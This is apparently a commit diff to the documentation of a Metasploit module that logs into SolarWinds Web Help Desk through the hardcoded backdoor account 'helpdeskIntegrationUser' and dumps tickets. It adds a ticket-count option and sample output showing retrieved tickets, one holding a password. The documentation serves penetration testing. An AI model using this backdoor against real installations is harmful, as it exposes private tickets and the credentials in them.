@@ -27,6 +27,11 @@ msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run
2727
2828This should return all the tickets from the Web Help Desk platform.
2929
30+ ## Options
31+
32+ ### TICKETSTODUMP
33+ The number of tickets to dump to the terminal.
34+
3035## Scenarios
3136
3237Running the exploit against Web Help Desk v12.8.1 on Windows 22H2 should result in an output similar to the following:
@@ -35,8 +40,10 @@ Running the exploit against Web Help Desk v12.8.1 on Windows 22H2 should result
3540msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run
3641[*] Running module against 192.168.217.145
3742
43+ [*] Running automatic check ("set AutoCheck false" to disable)
44+ [+] The target appears to be vulnerable.
3845[*] Authenticating with the backdoor account "helpdeskIntegrationUser"...
39- [+] Successfully authenticated and tickets retrieved:
46+ [+] Successfully authenticated and tickets retrieved. Displaying the first 2 tickets retrieved :
4047[+] [
4148 {
4249 "id": 2,
@@ -46,7 +53,7 @@ msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run
4653 "shortDetail": "Hi,\r\n\r\nhere is your super secure password: foo\r\n\r\nYour IT Support",
4754 "displayClient": "No Client",
4855 "updateFlagType": 2,
49- "prettyLastUpdated": "18 minutes ago",
56+ "prettyLastUpdated": "13 hours ago",
5057 "latestNote": null
5158 },
5259 {
@@ -57,9 +64,10 @@ msf6 auxiliary(gather/solarwinds_webhelpdesk_backdoor) > run
5764 "shortDetail": "Congratulations! You have successfully installed Web Help Desk. Further configuration options are...",
5865 "displayClient": "Demo Client",
5966 "updateFlagType": 2,
60- "prettyLastUpdated": "4 hours ago",
67+ "prettyLastUpdated": "17 hours ago",
6168 "latestNote": null
6269 }
6370]
71+ [+] Saved 2 tickets to /home/asdf/.msf4/loot/20240926004744_default_unknown_solarwinds_webhe_825328.txt
6472[*] Auxiliary module execution completed
6573```
0 commit comments